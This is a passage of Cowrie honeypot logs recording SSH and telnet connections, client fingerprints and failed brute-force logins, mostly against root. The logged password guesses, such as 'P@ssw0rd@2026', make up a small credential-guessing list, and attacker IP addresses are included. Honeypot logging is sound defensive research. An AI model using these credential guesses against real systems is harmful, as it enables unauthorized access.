f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:06.424632Z","src_ip":"223.17.1.118","session":"14b8d33badce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2026","message":"login attempt [root/P@ssw0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:07.313350Z","src_ip":"223.17.1.118","session":"14b8d33badce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.0395393371582,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:07.573686Z","src_ip":"170.64.224.25","session":"f25e422bb27b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:08.529295Z","src_ip":"223.17.1.118","session":"14b8d33badce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.8","message":"Connection lost after 22.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:09.813369Z","src_ip":"172.190.216.105","session":"0e1ad7d08314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00238728523254,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:11.302713Z","src_ip":"170.64.224.25","session":"2d47de285e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":54638,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d13a7ca5a99","protocol":"ssh","message":"New connection: 161.248.201.12:54638 (159.203.135.109:22) [session: 8d13a7ca5a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:21.822269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:21.826565Z","src_ip":"161.248.201.12","session":"8d13a7ca5a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:22.080888Z","src_ip":"161.248.201.12","session":"8d13a7ca5a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABC123456","message":"login attempt [root/ABC123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:23.134078Z","src_ip":"161.248.201.12","session":"8d13a7ca5a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:24.391502Z","src_ip":"161.248.201.12","session":"8d13a7ca5a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":34266,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfd7d644ab55","protocol":"ssh","message":"New connection: 162.144.61.95:34266 (159.203.135.109:22) [session: dfd7d644ab55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:27.682300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:27.686756Z","src_ip":"162.144.61.95","session":"dfd7d644ab55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:27.776259Z","src_ip":"162.144.61.95","session":"dfd7d644ab55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DyDx!S3cur3$W0rd","message":"login attempt [root/DyDx!S3cur3$W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:28.042355Z","src_ip":"162.144.61.95","session":"dfd7d644ab55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:29.133760Z","src_ip":"162.144.61.95","session":"dfd7d644ab55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":27335,"dst_ip":"10.17.0.5","dst_port":22,"session":"12b786484c01","protocol":"ssh","message":"New connection: 223.197.186.7:27335 (10.17.0.5:22) [session: 12b786484c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:39.424112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:39.428511Z","src_ip":"223.197.186.7","session":"12b786484c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:39.659315Z","src_ip":"223.197.186.7","session":"12b786484c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ubuntu@2024","message":"login attempt [root/Ubuntu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:40.565010Z","src_ip":"223.197.186.7","session":"12b786484c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43772,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d80f8b409d3","protocol":"telnet","message":"New connection: 137.184.5.188:43772 (159.203.135.109:23) [session: 0d80f8b409d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:40.575841Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:41.780250Z","src_ip":"223.197.186.7","session":"12b786484c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":60470,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c63c526e61b","protocol":"ssh","message":"New connection: 167.86.88.212:60470 (159.203.135.109:22) [session: 4c63c526e61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:49.485675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:49.493378Z","src_ip":"167.86.88.212","session":"4c63c526e61b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:49.588991Z","src_ip":"167.86.88.212","session":"4c63c526e61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xz123456","message":"login attempt [root/Xz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:50.011425Z","src_ip":"167.86.88.212","session":"4c63c526e61b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:51.111509Z","src_ip":"167.86.88.212","session":"4c63c526e61b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":37950,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5948822aa6b","protocol":"ssh","message":"New connection: 167.172.187.11:37950 (10.17.0.5:22) [session: e5948822aa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:58.328705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:58.332648Z","src_ip":"167.172.187.11","session":"e5948822aa6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:58.414495Z","src_ip":"167.172.187.11","session":"e5948822aa6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!QAZ","message":"login attempt [root/admin!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:58.775081Z","src_ip":"167.172.187.11","session":"e5948822aa6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:59.860880Z","src_ip":"167.172.187.11","session":"e5948822aa6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36010,"dst_ip":"10.17.0.5","dst_port":22,"session":"a070f45398c0","protocol":"ssh","message":"New connection: 91.92.40.4:36010 (10.17.0.5:22) [session: a070f45398c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:04.860244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:04.865107Z","src_ip":"91.92.40.4","session":"a070f45398c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:04.946642Z","src_ip":"91.92.40.4","session":"a070f45398c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwe123","message":"login attempt [postgres/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:05.226988Z","src_ip":"91.92.40.4","session":"a070f45398c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:06.311462Z","src_ip":"91.92.40.4","session":"a070f45398c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":55364,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fac973b4f02","protocol":"ssh","message":"New connection: 217.160.226.51:55364 (159.203.135.109:22) [session: 9fac973b4f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:12.508500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:12.512498Z","src_ip":"217.160.226.51","session":"9fac973b4f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:12.617475Z","src_ip":"217.160.226.51","session":"9fac973b4f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q","message":"login attempt [root/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:13.071670Z","src_ip":"217.160.226.51","session":"9fac973b4f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:14.179754Z","src_ip":"217.160.226.51","session":"9fac973b4f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.10165762901306,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:30.677368Z","src_ip":"137.184.5.188","session":"0d80f8b409d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.232.46.79","src_port":47410,"dst_ip":"159.203.135.109","dst_port":23,"session":"42c0230f851a","protocol":"telnet","message":"New connection: 197.232.46.79:47410 (159.203.135.109:23) [session: 42c0230f851a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:36.155132Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":46006,"dst_ip":"10.17.0.5","dst_port":22,"session":"c233d3fbd1dd","protocol":"ssh","message":"New connection: 143.20.185.207:46006 (10.17.0.5:22) [session: c233d3fbd1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:38.242175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:38.246117Z","src_ip":"143.20.185.207","session":"c233d3fbd1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 